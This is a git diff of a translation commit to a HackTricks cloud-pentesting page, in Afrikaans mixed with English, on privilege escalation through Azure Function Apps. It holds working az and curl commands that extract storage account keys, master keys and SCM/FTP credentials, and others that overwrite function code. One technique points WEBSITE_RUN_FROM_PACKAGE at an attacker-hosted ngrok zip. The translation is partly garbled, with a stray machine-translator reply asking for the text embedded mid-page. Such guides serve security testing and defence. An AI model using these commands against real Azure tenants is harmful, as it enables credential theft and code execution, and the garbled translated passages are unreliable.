mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -2,36 +2,36 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funksie Apps
|
||||
## Function Apps
|
||||
|
||||
Kyk die volgende bladsy vir meer inligting:
|
||||
Kyk na die volgende bladsy vir meer inligting:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Emmer Lees/Skryf
|
||||
### Bucket Read/Write
|
||||
|
||||
Met toestemmings om die houers binne die Stoorrekening wat die funksiedata stoor te lees, is dit moontlik om **verskillende houers** (pasgemaak of met vooraf gedefinieerde name) te vind wat **die kode wat deur die funksie uitgevoer word** kan bevat.
|
||||
Met permissies om die containers binne die Storage Account wat die funksie-data stoor te lees, is dit moontlik om **verskillende containers** (aangepas of met voorafbepaalde name) te vind wat moontlik **die code wat deur die funksie uitgevoer word** bevat.
|
||||
|
||||
Sodra jy vind waar die kode van die funksie geleë is, as jy skryftoestemmings daaroor het, kan jy die funksie laat uitvoer enige kode en voorregte opgradeer na die bestuurde identiteite wat aan die funksie gekoppel is.
|
||||
Sodra jy vind waar die code van die funksie geleë is, en as jy write permissions daaroor het, kan jy die funksie laat uitvoer van enige code en privileges eskaleer na die managed identities wat aan die funksie gekoppel is.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` en `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Die kode van die funksie word gewoonlik binne 'n lêerdeel gestoor. Met genoeg toegang is dit moontlik om die kode-lêer te wysig en **die funksie te laat laai arbitrêre kode**, wat toelaat om voorregte op te gradeer na die bestuurde identiteite wat aan die Funksie gekoppel is.
|
||||
Die code van die funksie word gewoonlik in 'n file share gestoor. Met genoeg toegang is dit moontlik om die code-lêer te wysig en **make the function load arbitrary code** wat toelaat om privileges te eskaleer na die managed identities wat aan die Function gekoppel is.
|
||||
|
||||
Hierdie ontplooiingsmetode konfigureer gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** wat jy kan kry van
|
||||
Hierdie ontplooiingsmetode stel gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** op wat jy kan kry vanaf
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Die konfigurasies sal die **Storage Account Key** bevat wat die Funksie kan gebruik om toegang tot die kode te verkry.
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
|
||||
> [!CAUTION]
|
||||
> Met genoeg toestemming om met die File Share te verbind en **die skrip** te wysig, is dit moontlik om arbitrêre kode in die Funksie uit te voer en bevoegdhede te verhoog.
|
||||
> Met voldoende toestemming om by die File Share aan te sluit en die lopende **modify the script** te verander, is dit moontlik om execute arbitrary code in die Function uit te voer en privileges te escalate.
|
||||
|
||||
Die volgende voorbeeld gebruik macOS om met die lêerdeel te verbind, maar dit word aanbeveel om ook die volgende bladsy te raadpleeg vir meer inligting oor lêerdele:
|
||||
Die volgende voorbeeld gebruik macOS om met die file share te koppel, maar dit word aanbeveel om ook die volgende bladsy te raadpleeg vir meer inligting oor file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Dit is ook algemeen om die **zip vrystellings** binne die gids `function-releases` van die Storage Account houer te vind wat die funksie-app gebruik in 'n houer **gewoonlik genoem `function-releases`**.
|
||||
Dit is ook algemeen om die **zip releases** binne die gids `function-releases` van die Storage Account container te vind wat die function app gebruik, in 'n container **gewoonlik genoem `function-releases`**.
|
||||
|
||||
Gewoonlik sal hierdie ontplooiingsmetode die `WEBSITE_RUN_FROM_PACKAGE` konfigurasie stel in:
|
||||
Gewoonlik sal hierdie deployment-metode die `WEBSITE_RUN_FROM_PACKAGE` konfigurasie stel in:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Hierdie konfigurasie sal gewoonlik 'n **SAS URL om die** kode van die Stoorrekening af te laai, bevat.
|
||||
Hierdie konfigurasie sal gewoonlik 'n **SAS URL to download** the code from the Storage Account bevat.
|
||||
|
||||
> [!CAUTION]
|
||||
> Met genoeg toestemming om met die blob-container te verbind wat **die kode in zip bevat**, is dit moontlik om arbitrêre kode in die Funksie uit te voer en bevoegdhede te verhoog.
|
||||
> Met genoeg toestemming om te koppel aan die blob container wat **contains the code in zip** is dit moontlik om execute arbitrary code in die Function en escalate privileges.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Net soos in die vorige geval, as die ontplooiing via Github Actions gedoen word, is dit moontlik om die gids **`github-actions-deploy`** in die Stoorrekening te vind wat 'n zip van die kode en 'n SAS URL na die zip in die instelling `WEBSITE_RUN_FROM_PACKAGE` bevat.
|
||||
Net soos in die vorige geval, as die deployment gedoen is via Github Actions is dit moontlik om die gids **`github-actions-deploy`** in die Storage Account te vind wat 'n zip van die code bevat en 'n SAS URL na die zip in die instelling `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` en `WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Met toestemming om die houers binne die Stoorrekening wat die funksiedata stoor, te lees, is dit moontlik om die houer **`scm-releases`** te vind. Daarbinne is dit moontlik om die nuutste weergawe in **Squashfs filesystem file format** te vind en daarom is dit moontlik om die kode van die funksie te lees:
|
||||
Met toestemmings om die containers binne die Storage Account wat die function data stoor te lees, is dit moontlik om die container **`scm-releases`** te vind. Daarin is dit moontlik om die jongste release in **Squashfs filesystem file format** te vind en gevolglik die code van die function te lees:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Dit is ook moontlik om die **master en functions sleutels** te vind wat in die stoorrekening gestoor is in die houer **`azure-webjobs-secrets`** binne die gids **`<app-name>`** in die JSON-lêers wat jy daarbinne kan vind.
|
||||
Dit is ook moontlik om die **master- en functions-sleutels** te vind wat gestoor is in die storage account in die container **`azure-webjobs-secrets`** binne die gids **`<app-name>`** in die JSON-lêers wat jy daarin kan vind.
|
||||
|
||||
> [!CAUTION]
|
||||
> Met genoeg toestemming om met die blob houer te verbind wat die **kode in 'n zip-uitbreiding lêer** bevat (wat eintlik 'n **`squashfs`** is) is dit moontlik om arbitrêre kode in die Funksie uit te voer en voorregte te verhoog.
|
||||
> Met voldoende toestemming om aan die blob container te koppel wat **die kode in 'n zip extension file bevat** (wat eintlik 'n **`squashfs`** is), is dit moontlik om arbitrêre kode in die Function uit te voer en bevoegdhede te eskaleer.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Hierdie toestemming laat toe om die funksie, meester en stelselsleutels te lys, maar nie die gasheer een nie, van die gespesifiseerde funksie met:
|
||||
Hierdie toestemming laat toe om die function-, master- en system-sleutels te lys, maar nie die host-sleutel van die gespesifiseerde function nie, met:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Met die meester sleutel is dit ook moontlik om die bronkode in 'n URL soos:
|
||||
Met die master key is dit ook moontlik om die bronkode te kry via 'n URL soos:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -130,70 +130,93 @@ az rest --method GET \
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
# Python function app example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
En om **die kode wat uitgevoer word** in die funksie te verander met:
|
||||
En om **die kode wat in die funksie uitgevoer word te verander** met:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
## Python function app example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
|
||||
# NodeJS function app example
|
||||
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||
--data-binary @/tmp/index.js \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Hierdie toestemming laat toe om die gasheersleutel van die gespesifiseerde funksie te verkry met:
|
||||
Hierdie toestemming maak dit moontlik om die standaard sleutel van die gespesifiseerde funksie te kry met:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Roep die funksie aan met die standaard sleutel wat verkry is:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Hierdie toestemming laat toe om 'n funksiesleutel van die gespesifiseerde funksie te skep/opdateer met:
|
||||
Hierdie toestemming laat toe om 'n function key van die gespesifiseerde funksie te skep of op te dateer met:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Hierdie toestemming stel in staat om 'n meester sleutel vir die gespesifiseerde funksie te skep/opdateer met:
|
||||
Hierdie toestemming maak dit moontlik om 'n master key vir die gespesifiseerde funksie te skep/opdateer met:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Onthou dat jy met hierdie sleutel ook toegang tot die bronkode kan verkry en dit kan wysig soos voorheen verduidelik!
|
||||
> Onthou dat met hierdie sleutel jy ook toegang tot die bronkode kan kry en dit soos voorheen verduidelik kan wysig!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Hierdie toestemming stel jou in staat om 'n stelselsleutel vir 'n funksie te skep/op te dateer na die gespesifiseerde funksie met:
|
||||
Hierdie toestemming laat toe om 'n stelselfunksiesleutel vir die aangeduide funksie te skep of by te werk met:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
I don't have the key or any file content. Please paste the text you want translated (or the key) here.
|
||||
|
||||
Do NOT share real secret credentials or sensitive keys — if the key is sensitive, redact it or provide a non-sensitive placeholder and I will proceed with the translation to Afrikaans.
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
|
||||
# Ejemplo: Acceso a Event Grid webhooks
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Hierdie toestemming laat toe om die instellings van 'n funksie te verkry. Binne hierdie konfigurasies mag dit moontlik wees om die standaardwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind wat 'n **rekening sleutel bevat om toegang te verkry tot die blob stoor van die funksie met VOLLE toestemmings**.
|
||||
Hierdie toestemming maak dit moontlik om die instellings van 'n funksie te kry. Binne hierdie konfigurasies kan dit moontlik wees om die standaardwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind, wat 'n **account key bevat om toegang te kry tot die blob storage van die funksie met FULL permissions**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Boonop, hierdie toestemming laat ook toe om die **SCM gebruikersnaam en wagwoord** (indien geaktiveer) te verkry met:
|
||||
Boonop laat hierdie toestemming ook toe om die **SCM username and password** (indien geaktiveer) te kry met:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Hierdie toestemmings laat jou toe om die konfigurasiewaarde van 'n funksie te lys soos ons voorheen gesien het plus **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode om binne die funksie uit te voer geleë is.
|
||||
Hierdie permissies laat toe om die konfigurasiewaardes van 'n funksie te lys soos ons reeds gesien het, plus om **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode wat binne die funksie uitgevoer word, geleë is.
|
||||
|
||||
Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL zip-lêer wys wat die nuwe kode bevat om binne 'n webtoepassing uit te voer:
|
||||
Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL-zip-lêer wys wat die nuwe kode bevat om binne 'n webtoepassing uitgevoer te word:
|
||||
|
||||
- Begin deur die huidige konfigurasie te verkry
|
||||
- Begin deur die huidige konfigurasie te kry
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Skep die kode wat jy wil hê die funksie moet uitvoer en huis dit publiek.
|
||||
- Skep die kode wat jy wil hê die funksie moet uitvoer en host dit publieklik
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -203,9 +226,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Pas die funksie aan, hou die vorige parameters en voeg aan die einde die konfigurasie **`WEBSITE_RUN_FROM_PACKAGE`** by wat na die URL met die **zip** wat die kode bevat, verwys.
|
||||
- Wysig die funksie, behou die vorige parameters en voeg aan die einde die config **`WEBSITE_RUN_FROM_PACKAGE`** by wat wys na die URL met die **zip** wat die kode bevat.
|
||||
|
||||
Die volgende is 'n voorbeeld van my **eie instellings waarvoor jy die waardes moet verander na joune**, let op aan die einde die waardes `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, dit is waar ek die app gehos het.
|
||||
Die volgende is 'n voorbeeld van my **eie instellings — jy sal die waardes na jou eie moet verander**. Let op die waardes aan die einde: `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` — dit is waar ek die app gehost het.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +238,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Met hierdie toestemming is dit **moontlik om die kode van 'n toepassing te wysig** deur die webkonsol (of deur die volgende API-eindpunt):
|
||||
Met hierdie toestemming is dit **moontlik om die kode van 'n toepassing te wysig** deur die webkonsole (of deur die volgende API-endpoint):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -223,10 +246,29 @@ az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
|
||||
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||
az rest --method PUT \
|
||||
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||
--resource "https://management.azure.com/" \
|
||||
--headers "If-Match=*" \
|
||||
--body 'module.exports = async function (context, req) {
|
||||
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||
|
||||
const name = (req.query.name || (req.body && req.body.name));
|
||||
const responseMessage = name
|
||||
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||
|
||||
context.res = {
|
||||
// status: 200, /* Defaults to 200 */
|
||||
body: responseMessage
|
||||
};
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Hierdie toestemmings laat toe om al die publikasieprofiele te lys wat basies **basiese outentiseringsakkredite** bevat:
|
||||
Hierdie toestemming maak dit moontlik om alle publishing profiles te lys, wat basies **basic auth credentials** bevat:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -234,15 +276,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
'n Ander opsie sou wees om jou eie kredensiale in te stel en dit te gebruik met:
|
||||
Nog 'n opsie sou wees om jou eie creds te stel en hulle te gebruik met:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- As **REDACTED** geloofsbriewe
|
||||
- As die inlogbewyse **REDACTED** is
|
||||
|
||||
As jy sien dat daardie geloofsbriewe **REDACTED** is, is dit omdat jy **die SCM basiese outentikasie opsie moet aktiveer** en daarvoor het jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` nodig.
|
||||
As jy sien dat daardie inlogbewyse **REDACTED** is, is dit omdat jy die **SCM basic authentication option** moet aanskakel en daarvoor benodig jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -262,9 +304,9 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Metode SCM**
|
||||
- **Method SCM**
|
||||
|
||||
Dan kan jy toegang verkry met hierdie **basiese outentikasie akrediteerings na die SCM URL** van jou funksie-app en die waardes van die omgewing veranderlikes kry:
|
||||
Dan kan jy met hierdie **basic auth credentials to the SCM URL** van jou function app toegang kry en die waardes van die env variables kry:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -275,15 +317,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Note dat die **SCM gebruikersnaam** gewoonlik die karakter "$" gevolg deur die naam van die app is, so: `$<app-name>`._
|
||||
_Let wel dat die **SCM username** gewoonlik die teken "$" is, gevolg deur die naam van die app, dus: `$<app-name>`._
|
||||
|
||||
Jy kan ook die webblad vanaf `https://<app-name>.scm.azurewebsites.net/BasicAuth` benader.
|
||||
Jy kan ook die webblad bereik vanaf `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Die instellingswaardes bevat die **AccountKey** van die stoorrekening wat die data van die funksie-app stoor, wat dit moontlik maak om daardie stoorrekening te beheer.
|
||||
Die settings-waardes bevat die **AccountKey** van die storage account wat die data van die function app stoor, wat dit moontlik maak om daardie storage account te beheer.
|
||||
|
||||
- **Metode FTP**
|
||||
|
||||
Verbinde met die FTP-bediener deur:
|
||||
Koppel aan die FTP-bediener met:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -297,19 +339,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Note dat die **FTP gebruikersnaam** gewoonlik in die formaat \<app-name>\\$\<app-name> is._
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Hierdie toestemming laat toe om die **bronkode** van die app deur die VFS te **lees**:
|
||||
Hierdie toestemming laat toe om deur die VFS die **read the source code** van die app te lees:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) te verkry wat later gebruik kan word om die **master key** te verkry en dus toegang te verkry tot en die funksie se kode te wysig.
|
||||
Met hierdie toestemming is dit moontlik om [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) wat later gebruik kan word om die **master key** te bekom en dus toegang tot en wysiging van die funksie se kode moontlik te maak.
|
||||
|
||||
E however, in my laaste kontroles is daar geen token teruggestuur nie, so dit mag gedeaktiveer wees of nie meer werk nie, maar hier is hoe jy dit sou doen:
|
||||
In my onlangse kontroles is geen token teruggegee nie, dus kan dit gedeaktiveer of nie meer funksioneel wees nie, maar hier is hoe jy dit sou doen:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +363,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Hierdie toestemmings laat toe om **funksies in te skakel** wat dalk gedeaktiveer is (of om hulle te deaktiveer).
|
||||
Hierdie toestemming laat toe om **functions te aktiveer** wat moontlik uitgeskakel is (of om dit uit te skakel).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -329,13 +371,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Dit is ook moontlik om te sien of 'n funksie geaktiveer of gedeaktiveer is in die volgende URL (met die toestemming in hakies):
|
||||
Dit is ook moontlik om te sien of 'n funksie geaktiveer of gedeaktiveer is op die volgende URL (met die toestemming tussen hakies):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om die **houer wat deur 'n funksie-app bestuur word** wat geconfigureer is om 'n houer te bestuur, te **wysig**. Dit sou 'n aanvaller in staat stel om 'n kwaadwillige azure funksie houer-app na docker hub (byvoorbeeld) op te laai en die funksie te laat uitvoer.
|
||||
Met hierdie toestemmings is dit moontlik om **die container wat deur 'n function app gedraai word, te wysig** wat gekonfigureer is om 'n container te gebruik. Dit sou 'n aanvaller toelaat om 'n skadelike azure function container app na docker hub (byvoorbeeld) op te laai en die function dit te laat uitvoer.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -343,29 +385,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om **'n nuwe gebruiker bestuurde identiteit aan 'n funksie te koppel**. As die funksie gecompromitteer was, sou dit toelaat om bevoegdhede na enige gebruiker bestuurde identiteit te eskaleer.
|
||||
Met hierdie toestemmings is dit moontlik om **'n nuwe user managed identity aan 'n function te koppel**. As die function gekompromitteer sou word, sal dit toelaat om bevoegdhede na enige user managed identity op te skaal.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Afgeleë Foutopsporing
|
||||
### Afstands-debugging
|
||||
|
||||
Dit is ook moontlik om te verbind om 'n lopende Azure-funksie te debug soos [**in die dokumentasie verduidelik**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). egter, standaard sal Azure hierdie opsie binne 2 dae afskakel in die geval die ontwikkelaar vergeet om te verhoed dat kwesbare konfigurasies agtergelaat word.
|
||||
Dit is ook moontlik om aan te sluit om 'n lopende Azure Function te debug soos [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Azure skakel hierdie opsie egter standaard na 2 dae af as die ontwikkelaar dit vergeet, om te voorkom dat kwesbare konfigurasies agterbly.
|
||||
|
||||
Dit is moontlik om te kyk of 'n Funksie foutopsporing geaktiveer het met:
|
||||
Dit is moontlik om te kontroleer of 'n Function se debugging geaktiveer is met:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Met die toestemming `Microsoft.Web/sites/config/write` is dit ook moontlik om 'n funksie in foutopsporingmodus te plaas (die volgende opdrag vereis ook die toestemmings `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` en `Microsoft.Web/sites/Read`).
|
||||
Indien jy die toestemming `Microsoft.Web/sites/config/write` het, is dit ook moontlik om 'n funksie in foutopsporingsmodus te sit (die volgende opdrag vereis ook die toestemmings `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` en `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Verander Github repo
|
||||
|
||||
Ek het probeer om die Github repo te verander van waar die ontplooiing plaasvind deur die volgende opdragte uit te voer, maar selfs al het dit verander, **was die nuwe kode nie gelaai nie** (waarskynlik omdat dit verwag dat die Github Action die kode opdateer).\
|
||||
Boonop was die **bestuurde identiteit federale geloofsbriewe nie opgedateer nie**, wat die nuwe repo toelaat, so dit lyk nie baie nuttig nie.
|
||||
Ek het probeer om die Github repo vanwaar die ontplooiing plaasvind te verander deur die volgende opdragte uit te voer, maar selfs al het dit verander, is **die nuwe kode nie gelaai** (waarskynlik omdat dit verwag dat die Github Action die kode sal opdateer).\
|
||||
Boonop is die **managed identity federated credential** nie opgedateer om die nuwe repository toe te laat nie, dus lyk dit of dit nie baie nuttig is nie.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user